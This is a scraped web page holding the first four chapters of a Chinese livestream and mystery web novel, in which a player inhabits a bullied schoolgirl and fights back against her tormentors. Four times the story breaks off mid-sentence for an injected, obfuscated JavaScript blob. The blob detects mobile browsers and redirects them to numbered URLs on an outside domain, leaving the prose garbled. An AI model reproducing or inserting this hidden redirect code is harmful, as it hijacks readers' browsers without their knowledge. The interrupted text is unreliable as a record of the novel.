《尸体在反杀[直播+探案]》 1. 第 1 章(颠覆性大修) 白昼朗朗,旭日高照,那本是一个心旷神怡的好天气,谢柏雅站在日头之下,看着面前这个陌生的校园场景,却只能感受到刺骨的阴冷与寒意。 她明明连眼睛都没有眨一下,上一秒还在戒备森严的医院中,躺在病床上,下一秒就来到了这里。 【欢迎进入游戏:轮回。副本名:高校女生连环自杀事件。玩家人数:4人。】 【检测到玩家抽取的角色卡:方映秋(被害者)。】 【角色性格与玩家性格契合度:8%,你与角色没有任何灵魂共鸣之处……角色记忆对接失败,角色身体掌控失败,请玩家自行探索!】 【死亡进度:80%】 【真相进度:0%】 【任务:捍生者权,替死者言!】 接二连三的系统音在耳边响起,谢柏雅感受到了前所未有的茫然——在她二十年的生命中很少感受过这样的茫然,上一次,还是在三年前的事件中。 三年前,她站在血泊中,站在一具倒地的尸体前,感到一片茫然。 如今,她站在这个陌生的环境中,茫然的情绪不比当年少。 就在这时,她眼前突然出现了……弹幕? [哟,新一批玩家?我看看……我靠,抽到被害者的女生一看就是朵小白花啊,怎么看着还病恹恹的,那和角色匹配度应该挺高的吧?] [嗯??怎么匹配度才8%?这是这一关这个角色匹配度最低的一次了吧!!] [何止这个角色啊,这是这个游戏有史以来最低的匹配度了吧!上次那个凶手玩家的匹配度都有12%,这个匹配度8%,她是非人类吗?和人类匹配度这么低?] [我去,怎么一进游戏就开始发呆啊,真是朵傻白甜吗?动起来啊!新手保护期就10秒钟啊!] [散了散了,这玩家是要落地成盒的节奏啊,没什么好看的,退了。] [别啊,这场没准会成为最低匹配和最速死亡的记录,见证历史啊!] 谢柏雅觉得自己的太阳穴开始“突突”地跳起来,一下子接受了许多不符合她唯物史观的东西,哪怕对她而言,冲击也非同小可。 但现实没有给她多少心理准备时间,就如同弹幕上说的那样,“新手保护期”,只有10秒。 十秒一过,突然就听“哐”地一声,自己的身体被人推了一把,直直地撞向了身后的墙壁,后背传来剧痛,疼得她“嘶”得皱起眉。 “哟,终于有反应了啊,还以为这娘们儿要装傻装到底呢。”流里流气的声音,混合着蓦地凑近的肥厚嘴唇中,喷出的腥臭口气,让谢柏雅下意识皱眉。 面前那个黄毛看到她脸上嫌弃的表情,蓦地被激怒,瞬间揪住谢柏雅的校服领口,狠狠甩手,“啪”得一声,一巴掌狠狠扇在了谢柏雅的脸上。 “***的,臭**什么表情!还敢嫌弃老子!” 黄毛的劲不算大——至少和谢柏雅当年训练时碰到的对手比起来,实在太弱了。 但或许是刚刚穿进这具身体没有适应,又或许是她本体在现实中三年“修养”的缘故,她被这一巴掌扇得脑袋嗡鸣,整个人瞬间脱力,向墙壁扑去,委顿在地。 脑袋嗡鸣作响,脸颊疼痛火辣,这一切却反而刺激了她的脑神经,告诉她眼前的一切皆为真实。 她的脑海终于开始飞速转动,试图搞清楚当前的情况。 住院前偶尔看的一些小说从记忆中浮起,她难道是……穿越了? 而且还穿到了一个……正在被暴力对待的女性身上? [啊,是这个高校自杀副本啊……啧,那不用看方映秋这个视角了,我赌5币,她今晚就死。] 方映秋,如果她没记错,就是她抽到的角色卡姓名——有人在实时观看这场“游戏”的直播。 而匹配度……谢柏雅看着屏幕上显示【契合度8%】的字样和后面的提示,难道这就是她难以控制这具身体的原因? 无法对接角色方映秋本体的记忆,又无法控制这个身体,这要怎么玩? [跟楼上,我堵10币。] [你们就不能给人家一点信心吗?……20币,跟了。] 弹幕还在不停闪烁着没营养的打赌,但谢柏雅已经没有心思再看了,因为她倒在地上的身体,又被人揪着衣领,揪了起来。 谢柏雅强忍着身体里翻腾的恶心,终于看清了眼前正在欺负这具身体的人。 那是几个染着五颜六色头发的社会男青年,十成十的校园文标准反派,猥琐、贪婪、流里流气,五毒俱全。 “上周就警告过你,这周不给兄弟们每人孝敬一百块,就有你好果子吃!”打头的那个黄毛揪着谢柏雅的衣领,唾沫纷飞间面目狰狞。 “结果你今天就带了这么点来?糊弄谁呢!” 那黄毛甩了甩手里的钱包——说是钱包,其实就是一块破烂的布缝成了可以装东西的样子,里面只有零星几枚硬币碰撞的响声。 “对、对不起,但我真的没、没钱了……”她听到自己这具“身体”畏畏缩缩地开口,恐惧与疼痛让她落下泪来。 但泪水不会得到恶魔的怜悯,只会让它们更加得寸进尺。 黄毛啐了一口,“啪”地抬手又是一巴掌,谢柏雅控制不了身体,疼痛却是共享的,她被这莫名其妙的两巴掌点燃了怒火——这样的情绪在她的身体里已经久违。 她开始本能地激烈挣扎,试图夺取这具身体的控制权。 “没钱?没钱就用别的!”说着,那黄毛的手已经要伸向谢柏雅的领子。 那黄毛本想像一直以来的那样肆意欺负眼前懦弱的少女,却不想这具身体芯子里已经换了个灵魂。 就在他伸手的那一瞬间,谢柏雅终于成功争取到了身体的控制权。 “……滚!”沙哑的厉声终于传出喉咙。 谢柏雅瞬间抬手,拦住黄毛干瘪如瘦猴的手肘,随即一扭一转,直接一个标准的擒拿动作,将黄毛的手扭到身后,不自觉地背对着她,被她一脚踹在屁股上,踉跄着往前跌了两步,“哐”一声摔了个马趴! 行云流水地做完这一切,谢柏雅还拿脚蹭了蹭地面,仿佛在嫌弃这屁股脏了她的鞋一样。 她本来想直接把这黄毛的手直接扭断的——但可惜三年不曾有机会好好锻炼,这具身体又无法契合,只能给他留下这条手臂了。 仿佛被她这一下惊到,本来喧闹的四周突然一片寂静。 这群黄毛本来把她堵在校门口小道的角落里收保护费,来来往往的都是年轻的学生, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14428675|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大部分都惹不起这几个混混,看到就匆匆绕道。 小部分更可恶的,远远地观看起了这边的这场霸凌,小声交头接耳着,谢柏雅甚至还能从他们脸上看到猎奇又幸灾乐祸的表情。 看样子,他们已经对“方映秋手无缚鸡之力地被霸凌”感到习以为常了。 所以,刚刚谢柏雅这突然又狠厉干脆的一下,直接让四周所有人——不管是霸凌者还是观看者——都惊得鸦雀无声。 甚至系统里那些不停刷新的弹幕都停了一瞬,但随即便是更疯狂的刷屏。 [66666] [刚刚谁说这玩家是小白花的!!站出来!!] [……我也想不到小白花的外表装着食人花的内心啊!] [我总算知道为什么匹配度只有8%了……] 而那黄毛像是被她踹懵了,他的小弟也懵了,顿了几秒,才有人反应过来,走过去扶起了他们大哥。 黄毛揉着屁股,不敢置信地看着谢柏雅:“你、你、你竟然敢对我动手!” 谢柏雅揉了揉因为刚刚那一下而有点抽筋的右手,暗自估量了一下,和她一样,现在这具身体也长期运动不足。 她看着黄毛,缓缓开口:“行,不动手。” 这具身体刚刚哭过,声音仍旧沙哑,又带了些本体因为怯懦而软绵绵的语调,一时间竟然没人意识到这句话的古怪。 那黄毛显然就没把她的反抗当一回事,啐了一口,“知道就好,过来,给老子把鞋子舔干净!” 看来,实在是这个身份平时的“乖顺”,让他们欺负得太得心应手了。 黄毛旁边的小弟跟着捧场,笑声猥琐:“老大,光舔鞋子哪够啊?咱不让这**把刚刚没有做的事做完吗?” 这话像是正中黄毛下怀,“嘿嘿嘿……”猥琐的低笑声在谢柏雅耳边此起彼伏地响起。 她看着那些人,压抑住作呕的内心,面上脸色没有任何变化,只是缓缓走向那个黄毛。 黄毛和小弟兀自做着龌龊的美梦,看她走向他们,黄毛摸了摸下巴,显然有些迫不及待了。 “过来啊,快点跪下!快点!” 谢柏雅走到他身前,停下。 “我叫你跪……啊啊啊!!!” 猥琐的话没说完,谢柏雅抬起右脚,朝着黄毛的两腿之间狠狠一踹! “不动手,动脚。” 在黄毛捂着裆部疼得打滚的背景音中,谢柏雅淡淡开口,声音依旧软糯,但却没有人再轻视。 弹幕又开始刷屏。 [嘶……我发誓,我隔着屏幕都听到了鸡飞蛋打的声音。] [不存在的幻肢开始疼了!!] [干得漂亮!!给小白花姐姐点赞!小白花姐姐太飒了!!我要当小白花姐姐的肥料!!] [什么小白花!谁见过小白花上来就踹裆的!] [……这还是我第一次看到有人用这个身份这么玩儿的,虽然一直听说,在契合度低的情况下可以短暂地为所欲为,但这已经严重的歪人设了吧!] 谢柏雅看到这个弹幕,突然意识到了什么,果然,在下一刻,她的系统界面闪起红光。 【警告!警告!玩家脱离人设!请玩家严格按照角色设定行动!!】 2. 第 2 章(颠覆性大修) 谢柏雅:…… 她已经很久没有这么无语过了。 这契合度判定真是够麻烦的,低契合度非但无法继承身体的记忆,还只能短暂地控制身体,而且还得按照原来的人设走剧情? 那如果不按照人设走,会怎么样?下一秒,她这个问题得到了答案。 谢柏雅感觉到自己好不容易控制的身体再次不受控起来,她脸色和嘴唇霎时苍白,瘦小的身躯瑟瑟发抖,眼泪也瞬间涌了出来。 “对、对对对对、对不起、我我我我、我不是……不是、不是故意的!!” 谢柏雅:…… 黄毛和他的小弟:…… 不光在这幅身体里的谢柏雅无语了,连黄毛他们都目露惊疑之色。 毕竟她这前后反差也太离谱了!——上一秒还踹的人鸡飞蛋打,下一秒就开始哭得梨花带雨? 这种只会欺负未成年学生的社会渣滓最是欺软怕硬,虽然这具身体现在表现出来的害怕柔弱和他们映象中的“方映秋”很像,但刚刚那一脚实在太狠了,导致他们根本没法像以前那样神气地欺负她。 地上的黄毛还捂着裆在叫,旁边的方映秋还哭得上气不接下气,黄毛的小弟终于有一个动了,那小弟冲上去扯住方映秋的长发,拽着她就要狠狠向墙上撞去! “住手!”一位戴着眼镜的短发女老师听到了动静赶过来,一眼就看到了自己学校的学生,“你们在干什么!” 脸颊擦过粗糙的墙面,方映秋头发和脸都被扯得生疼,哭得更加害怕无助,泪水滚落被扇红的脸颊,更显可怜。 “呜呜呜呜呜……王、王老师……” 谢柏雅被迫待在这具身体里做一名旁观者,但现在看来,让原人格暂时接管身体也不是没有好处——至少她现在知道眼前这个老师姓王了,记忆里还冒出来一些关于这个王老师的片段。 王胜梅老师,高三年级的语文老师。 而黄毛旁边的小弟被一吼,下意识松开手,指着方映秋,冲着那个老师怒吼:“管管你们学生!把我们老大打成这样!赔医药费!!” 王胜梅看了看伤痕明显、浑身狼狈,甚至在她来之前一秒,还差点被揪着往墙上撞的方映秋,又看了看凶神恶煞的一群黄毛,扶了扶眼镜,一个冰冷地眼神扫了过去。 [哈哈哈哈哈哈王老师:给你们个眼神你们自己体会。] [王老师:你要不要看看你在说啥???] [王老师:谁打谁?谁赔谁医药费??] 王胜梅老师懒得理黄毛拙劣的“碰瓷”,“你们上周刚因为欺负我们学校的学生进过少管所,饭菜不错?让你们流连忘返?” 语文老师连骂人的话都迂回了一下,那群文盲怔愣片刻才反应过来她的意思,黄毛的一个小弟恼羞成怒,“你什么意思?你要包庇你们学生?你个臭**!装个*呢!谁不知道你和你们校长的事!?” 王胜梅老师表情都没变一下,掏出手机,“给你们五秒时间,在我按下110前道歉走人。” 按键声从手机里传来,黄毛和小弟们这才偃旗息鼓,稀稀拉拉的道歉声响起,又三三两两地扶着地上鸡飞蛋打的老大走了。 总算是脱离了面前的困境,谢柏雅不由松了口气,再次拉开系统面板,却发现数值变了。 【死亡进度:75%】 死亡进度降了? 她还没来得及琢磨这数值是怎么回事,下一秒,轰走了围观学生的王胜梅老师走回她面前,语调严厉地开口。 “方映秋!这是怎么回事?!你这年纪不好好学习,怎么和那群人混在一起!?” 谢柏雅:……这老师是哪只眼睛看到“混在一起”了?这不是方映秋在单方面被人欺负吗? 但这具身体的主人显然已经懦弱得习惯了,只知道哭和道歉,“对、呜呜呜……对不起、王老师,请您、请您不要告诉……告诉我的父母……” [不管看多少次还是很讨厌这个老师,人家小姑娘是自愿的吗?被欺负了能有什么办法?] [就是啊,她不帮着主持公道就算了,还要训斥受害者!] [不是,你们都没看过背景介绍吗?那群小混混之前不就是王老师一次又一次报警送进去的吗?但对方是未成年有什么办法,关几天就放出来了,完事儿继续回来欺负学生,她除了提建议加强安保还能有什么办法吗?] 王胜梅老师看着哭得凄惨的方映秋两秒,伸手从口袋里拿出餐巾纸,递给她,随即拉住她的手臂。 “走,和我去警局验伤,报警!” 谢柏雅:这才是正常人的反应。 方映秋:“呜呜呜,不、不要!!” 她不知道哪来的力气,一把挣开了王老师的手,瑟缩着后退,“不要、不要!!” 王胜梅老师看起来恨铁不成钢,“你是受害者,你不去验伤报案,他们连少管所都进不了!” “不要、不要!”方映秋只是哭求着阻止王老师,“不要王老师!我不能去警局!去了警局要通知家长……我、我的父母……呜呜呜……” “父母怎么了?”王老师皱眉,“你受了伤,他们还能不管你?” 方映秋哭得更惨了,“他们、他们……我爸本来就不让我读高中,他说、他说如果我在学校再出事,就让我辍学出去打工了!” 面对方映秋的苦苦哀求,王老师也没了办法,只能沉默半晌,随即开口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14428676|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“……行了,别哭了,擦把脸,去校医室看看伤,还有两个小时晚自习,迟到扣班级分数。” 王老师的语调依旧冷硬,但方映秋感激地抹了把眼泪,不停地感谢她。 王老师把方映秋带回学校,虽然方映秋低着头,但脸上的伤痕仍旧遮掩不住,一路上的学生碍于旁边的老师不敢指指点点,但那有如实质的目光依旧一下下戳着女生的内心。 与她共感的谢柏雅明显能感觉到,她的自卑与怯懦都快把整颗心搅碎了。 反正也控制不了身体,谢柏雅继续打量系统面板,发现刚刚的数值再次变化。 【死亡进度:78%】 死亡进度又升了? 她联想到系统的副本名《高校女生连环自杀事件》,和她这个“被害者”的身份,勉强得出一个初步结论。 ——这个死亡进度,没准是方映秋这个角色的“自杀倾向”。 被小混混欺负、被同学嘲笑,这些负面事件都导致数值上升,说明经历这些事件后,方映秋的“自杀倾向”变高了。 而最开始她那一次反击,让小混混们偃旗息鼓,没有欺负成方映秋,才导致她的“自杀倾向”降了下来。 那是不是她一直做降低自杀倾向的事就可以了? 但任务的那八个字又代表着什么?“捍生者权,替死者言”,是古代法医学名著《洗冤集录》里的一句话,放在这里用作任务目标,却太笼统了。 她一边思考着,一边分心关注着身边情况。 王老师带着方映秋走到教学楼附近,抬腕看了看手表,“我一会儿还有个会,你能自己去……算了,我找个老师陪你。” 说着她看了看四周,正巧一个年轻的女老师在教学楼前站着,王胜梅开口,“诶,那边的徐老师。” 但那个徐老师仿佛没听见一般,看着教学楼,脸上的表情十分茫然。 “徐老师,徐老师?语文组的徐婉老师!”王胜梅一连叫了她好几声,那个徐婉老师终于回过神。 “啊、啊?叫我?”她小跑过来,“有、有什么事吗?” 王胜梅皱眉,觉得这徐婉老师有点奇怪,但她赶着去开会,于是示意了一下旁边的方映秋。 “带方同学去校医室看一下。” “哦、哦,好的。” 王胜梅赶着去开会,留下徐婉和方映秋站在原地,徐婉环顾校园四周的环境,随即有些尴尬的挠了挠脑袋,看向方映秋。 “那个……校医室,怎么走来着?” 如果刚刚看到她茫然地发呆时,谢柏雅还只是推测的话,现在看到她的反应,谢柏雅几乎能确定了。 ——这个徐婉,多半也是“玩家”。 3. 第 3 章(颠覆性大修) 谢柏雅没有第一时间和对方相认,最主要的原因是她如今没法随时掌控这具身体。 但看这个徐婉的情况,她应该是能完全掌控身体的,大概与抽到的角色原主性格契合度不低。 好在这具身体的原主方映秋认识校医室,徐婉扶着她来到校医室门口,推门进入,里面没有人。 “可能校医有事暂时离开,咱们等等吧。”徐婉扶着方映秋坐下,去饮水机接了杯水递给她。 不过多时,门口传来了一个温柔的女声,听着似乎在边打电话边往这里走。 “……好好,我知道了,我会想办法的……我知道了妈,我一定会尽快凑钱的,到时候钱还是打到弟弟那张卡上吗?……好,我知道了。” 话到这里,她推开校医室的门,白大褂印入眼帘,是一名年轻的校医。 那校医看到两人在房间里,楞了一下,随即对电话那头低声应了两句,“就这样吧,妈,我这里有病人……是,我一定不会不管弟弟的。” 说着收起手机,看向房间里的两人,但在看到方映秋脸上的伤口后一愣。 “这是怎么了?怎么伤着脸了……哎呦女孩子的脸可金贵了,要好好保护的。” 说着,那个校医把方映秋引进屏风后,拿来医疗箱。在她走动间,谢柏雅注意到她胸口的牌子上写着:校医-刘阿娣。 刘校医动作轻柔地帮方映秋上药,一边温柔地对着她脸上的红肿擦伤吹气:“呼呼,上点药就不疼了,不疼哦。” 她脸上不止被扇两巴掌的红肿,还有刚刚被扯着长发往墙上撞的擦伤,伤口渗血,碰到药水疼得方映秋直抽气。 在刘校医温柔的呼气和动作中,方映秋的泪水再度落了下来,“谢、谢谢徐老师……” “哎呦别哭啊,”刘校医拿来纱布,替她把眼泪擦掉,“不哭了啊,哭了脸上的伤口更疼,上完药就好了,保证不会影响我们漂漂亮亮的脸蛋,好不好?” 弹幕又开始刷屏。 [呜呜呜刘老师还是这么温柔。] [这刘老师真的太老好人了,简直和整个案子的暗黑氛围格格不入。] [话说有人抽到过刘老师的身份吗?想看这么温柔貌美的大姐姐由玩家演绎会是什么样的。] [不要啊!我只要原装的刘老师!刘老师太温柔太好了!!] 不止夸奖声一片的弹幕,谢柏雅能感受到,连方映秋大概也早就被刘校医俘获了。 她已经许久没有被人这么温柔以待,谢柏雅能感受到她感激又欣喜的心情,又似乎掺杂了一些微妙的……复杂? 原因很简单,她的死亡进度没有变。 按照她之前的推测,接收到正向事件,会降低方映秋的自杀欲望,但在被刘校医这么对待时,她虽然心里升起了暖意,但进度条却没有降。 谢柏雅无法掌控身体,但可以不动声色地观察着面前的校医,与她的动作和语言一样,刘校医长着一副十分没有攻击力的温柔面孔,皮肤细腻,看上去保养得不错,靠近还有一股十分好闻的护肤品香气。 现在是春季末,刘校医手臂上的衣服挽了起来,谢柏雅注意到她右臂中间有几个青红色的针孔,像是生病打针留下的,但看上去比平常的针孔大了几倍不止,青红一片,看着非常可怖。 注意到谢柏雅和徐婉的视线都在她的手臂上,刘校医温婉地笑了笑,伸手将袖子放下去,解释道,“前两天生病去打了针。” 徐婉客套地点头:“注意身体。” “你这两天不要碰水,要洗脸的话,拿纸巾沾了水擦一擦没伤的地方,口味也要清淡点,千万担心不要留疤啊,”刘校医将药箱放回柜子,“我们女人就是靠脸吃饭的,脸上留了疤可就麻烦了。” [呜呜呜刘校医还是这么温柔贴心!!我要嫁给她!!] [楼上不要做梦,刘姐姐是我的!!] 方映秋点头全部应下,倒是旁边的徐婉皱了皱眉,但还没有开口,就被校医室门口的声音打断。 “刘校医,刘校医,咦?人呢?”一个高中男生的声音传了进来。 “来了。”刘校医迎了过去,“哎呦乖乖,怎么伤成这样?” “这年纪的男孩子都是皮猴儿,”是一个男老师的声音,“下次还敢不敢踩着椅子打蜘蛛窝?” 谢柏雅和徐婉一起出去看。 校医室外间站着一个四十几岁的中年男子,穿着普通的衬衫西装裤,腰上还有没有拿下的扩音麦,手上抱着一叠卷子,像是刚刚从课堂上下来。 是他们学校的教导主任,陈国方老师。 而坐在凳子上的就是那个被训斥的男同学,是和方映秋同班的班长,李凯亮。 李凯亮膝盖破了一块皮,谢柏雅一眼判断出来,不算太严重,没伤到骨头。 但刘校医实在负责,小心翼翼清洗了伤口又上药,与对方映秋如出一辙的温柔——谢柏雅理解弹幕上为什么这么喜欢这个角色了。 那李凯亮也看到了方映秋,谢柏雅明显感到方映秋的心口跳了两下,这是……少女的悸动? 但与之相反的,李凯亮看到方映秋后,长得还算阳光俊朗的脸上突然冒出些微嫌弃的神色,实在不像是看到“同班同学”的一个态度。 陈国方老师和两人打招呼,“徐老师,方同学。方同学这是怎么受的伤?怎么伤到脸了。” 方映秋嗫嚅道:“摔、摔了一跤。” 她脸上明显不是摔出来的伤口,但陈国方很体贴地没有追问,只是上前一步,拍拍她的肩膀,放柔了语调,“以后小心点。” 方映秋心底一怵,后退一步,点点头,“会、会的,谢、谢谢陈老师。” 谢柏雅隐约有点感受到方映秋害怕的心情,有点像那种普通学生在碰到教导主任的时候,刻在DNA里的犯怵。 陈老师收回手,继续关切道,“今天晚自习要休息一下吗?有伤就好好休息,学习也不用那么拼命。” 他话说完,李凯亮却突然不服气了,嚷嚷道:“陈老师,你对我们可不是这么说的,你可叫我们拼了命也要考上名牌大学,光宗耀祖出人头地啊!” 陈国方笑着瞪了他一眼,“你们男生能一样吗?女孩子要娇养,拼命读书是你们男孩子该做的事,去,把上次考试错的题抄十遍!” 在男同学“这对男的不公平”的嚷嚷声中,旁边一向胆小的方映秋却突然开口打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14428677|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断两人的对话。 “不、不用了,我、我没事,晚自习不去要扣班级分的……”说着她的头越来越低,直到说完最后一句话,“蹭”地跑开了,直接离开了校医室。 “诶,方同学!”校医和徐婉在后面叫,方映秋却听都不听,埋头往前跑。 谢柏雅感受着她心里类似于“羞愤”和“不想见人”的心情——难道是被倾心的男孩子冷眼相对后,受不住跑了出来? 果不其然,她一拉开系统面板,死亡进度又爬回了80%。 ……刚刚谢柏雅好不容易拿到身体、飞起一脚的成果就这么没了。 她内心叹了口气,按照她的想法,会想在校医室多留一会儿,试着多探听一些消息,但很可惜她不是这具身体的主导者。 她甚至试图和原人格“对话”,但很快发现,大概因为是“游戏”的原因,原人格仿佛只是设定好的数据,根本无法和玩家沟通。 无奈,她只能被迫跟着身体原主一起行动,一路跑回教室,坐到了角落里自己的位子上。 谢柏雅本以为回到教室后,这姑娘的能放松一些,却没想那些激化她“死亡进度”的刺激源如影随形。 如今已经过了饭点,吃饭的同学都回到了座位上,或多或少地向方映秋投来了异样的目光,还有几个她能认出,就是在校门口看戏她被欺负的人。 “你看她那样子……” “哎哟,听说是劈腿了被男朋友打的……” “看不出来,平时装成那副样子……” “不都这样吗?你忘啦,高三那个王老师,之前说要提教导主任的时候,不也有人说和校长有点……” “哦哦哦,对哦……嗨,还是陈老师人好,人家就不搞弯弯绕绕的,好好教课,还好最后是他当了教导主任,要是王巫婆当了,现在还指不定怎么治我们呢……” 过了一会儿,李凯亮也从校医室回了班级,他从后门进来,直走本该路过方映秋的座位,但他宁可绕个路,都不肯从她身旁经过。 细碎的窃窃私语仿佛无孔不入般钻入方映秋的耳中,虽然只是茶余饭后三两句闲谈,但各种无凭无据的猜测像风一样传播着,再加上心上小男生如此直白的憎恶,方映秋恨不得把头埋进肩膀里,眼眶憋的通红。 眼见着死亡进度飙到了85%,谢柏雅快看不下去了,她试图回忆刚刚是怎么获得身体控制权的。 终于,在方映秋打开笔盒,被一只突然窜出来的蜘蛛吓得大叫时,谢柏雅在对方情绪害怕崩溃的那一刻,再度得到了行动的机会! “哈哈哈哈哈……” 奚落的笑声从前方传来,谢柏雅“唰”地抬头,看到几个穿着校服,长相还算乖巧的男生女生聚在一起,嬉笑着方映秋。 “嘭”地一声,谢柏雅拿过笔盒,对着满桌乱爬的蜘蛛狠狠拍了下去! 这一下不仅直接拍死了蜘蛛,还把满班的奚落声拍灭。 班级瞬间寂静下来,那些奚落的笑容僵在脸上。 谢柏雅站起身,随手抽出桌上一张试卷,隔着纸张拿起了那只被她拍扁的蜘蛛。 “谁、干、的?”寂静的教室中,方映秋软糯的语调压低着开口。 4. 第 4 章(颠覆性大修) “什、什么谁干的?”她那一下虽然吓人,但显然班级里的人欺负方映秋都成习惯了,前面一个大块头男生走过来,习惯性地推了她一把,“横什么横?搞那么大声!你吓到我了你知不知……啊!!” 那座肉山似的男生,走起路来几乎把课桌间的走廊堵得死死的,他向谢柏雅逼近,伸手就要推搡她。 谢柏雅侧身躲开那只胖爪子,侧身坐上课桌,一个翻身便翻到前桌,瞬间挪到了那座男生身后,随即一脚踹在了他的膝弯处! “哐啷”一声,肉山往前一冲,直接带倒了一大片桌椅。 谢柏雅的动作太快,旁观人甚至没有看清楚发生了什么,那个巨大的身影就倒下了! 而谢柏雅手上……甚至还好好地拿捏着那只死蜘蛛。 谢柏雅没有看倒地的肉山,只是环视整个班级的面孔,一个个用眼神逼视过去,声音压得更低。 “我再问一遍,谁、干、的!” 这下,没人再敢对上她的目光,一些看热闹的似乎想起了她在校门口踹的混混鸡飞蛋打的一幕,赶忙低下头,生怕自己成为下一个。 [等等……我去!这里什么情况?怎么打起来了?] 谢柏雅这里的弹幕本已不剩多少——虽然她在游戏开头飞起一脚,但后续原主压制了她,回归了那一副懦弱的模样,直播间的人便渐渐离开,直到刚刚,几乎已经没有了弹幕。 [怎么了怎么了?听说这里又有好戏了!?] [……卧槽!那肥猪男怎么趴了?吃太胖被自己的肥肉绊倒了?] [不不,是小白花……啊不,霸王花把他踹倒的!!霸王花现在在抓恶作剧她的人了!!] [我去,方映秋反杀霸凌者??这是这个角色会拿的剧本??这角色不是只会哭哭啼啼呜呜咽咽吗??] 谢柏雅看着弹幕挡视线,干脆缩小关掉,随即目光在教师中所有人身上扫过一圈,最后,坚定地看向了某处。 [她在看那个李凯亮?对哦,方映秋不是喜欢李凯亮吗?] [但、但在这种时候看向他很奇怪啊!!她要干什么?在这种气氛下表白吗??] [不会吧,喜欢李凯亮的小白花,现在不是霸王花吗?] [霸王花走过去了!她向李凯亮走过去了!] 李凯亮看向逼近的谢柏雅,毕竟只是十几岁的高中生,被她的目光吓得犯怵,想要往后退,但后面是课桌。 谢柏雅在他一步之遥停住,随即唰地伸手,拉开了李凯亮的校服领口—— “你、你干什么!你别过来,我、我之前已经拒绝过你……啊啊啊啊啊啊啊!!!” 只见谢柏雅朝着被她拉开的领口一挥手,随即就听李凯亮突然凄惨地叫了起来。 众人看向谢柏雅的手,这才发现……她一直拿着的蜘蛛不见了!——她把蜘蛛,直接扔进了李凯亮的衣服里! “啊啊啊啊蜘蛛蜘蛛!!快帮我拿出来啊啊啊啊!!” 李凯亮像是跳蚤一样疯狂蹦跶,一边脱校服一边狂跳,几个相熟的同学上前帮忙,终于,那只被拍扁的死蜘蛛从他的裤管里掉了出来。 李凯亮终于回过神来,恶狠狠地盯着她,“方映秋!你疯了啊!关我屁事!!” “对啊方映秋!无缘无故地你发什么疯!” “你神经病吧!我就说这人脑子不正常,无缘无故地……” 谢柏雅直接打断了他们的咄咄逼人:“无缘无故?” 她冷笑一声,随即向前一步,刚刚那群盛气凌人的人纷纷害怕般后退,给她空出位置来。 她弯腰,再次抓住那只死蜘蛛,拎到李凯亮眼前。 “李凯亮,你敢不敢看着我的眼睛说,这只蜘蛛不是你放的?” 李凯亮楞了一下,随即目光一瞟,就是不看谢柏雅的眼睛,“这、这蜘蛛当然不是我……” 谢柏雅伸手,狠狠卡住他的下巴,迫使他面对自己,目光淡漠,语调森冷,“如果你说谎的话,我会把这只蜘蛛塞进你的嘴巴里,在你把它嚼碎咽下去之前,别想张开嘴。” 骇人的声调和话语瞬间让李凯亮咽下了所有的话,目光中的惊骇无以言语。 ——尤其是,谢柏雅拿着那只蜘蛛的手真的在朝着他逼近!! 她刚刚就把蜘蛛扔他衣服里了!她说扔他嘴里,一定、一定也是真的!! 十几岁的小毛孩见过什么世面,李凯亮当即吓得屁滚尿流,双腿一软,“噗通”一声给谢柏雅跪下。 “是、是是是我,对对对、对不起!!不要、不要!!蜘蛛拿开!!!!” [雾草666666,这个玩家的游戏主题是反校园霸凌吗??] [我一直不爱看方映秋视角的直播,就是觉得这身份卡太委屈了!!居然真的有人能拿着这个剧本反杀霸凌者吗!!] [方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14428678|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐威武!!!] [你们看!!她的死亡进度条降到79了!!我第一次看到有人能把这角色的进度条降到80以下啊!!] [卧槽卧槽!这受害者角色这次不会不用死了吧!!] [嗬嗬,爽个屁,一看就是没有被契合度拷打过的菜鸟,真以为《轮回》和他们现实中玩的那些电脑游戏一样无脑呢?] 